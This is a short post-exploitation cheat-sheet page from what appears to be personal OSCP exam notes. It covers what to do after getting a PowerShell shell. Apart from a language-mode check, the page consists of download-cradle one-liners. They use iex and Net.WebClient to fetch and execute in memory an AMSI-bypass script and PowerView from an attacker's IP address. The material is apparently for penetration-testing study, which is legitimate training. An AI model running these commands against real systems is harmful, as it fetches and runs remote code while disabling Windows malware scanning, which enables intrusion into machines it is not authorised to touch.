> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/post-exploitation/things-aft-ps-shell.md).

# Things aft PS Shell

```powershell
# Check for language mode of PS shell
$ExecutionContext.SessionState.LanguageMode

# Bypass AMSI & run/import-module scripts in memory (download cradle)
iex (New-Object Net.WebClient).DownloadString("http://192.168.45.198/amsibypass.ps1")
iex (New-Object System.Net.WebClient).DownloadString('http://192.168.45.198/PowerView.ps1')
```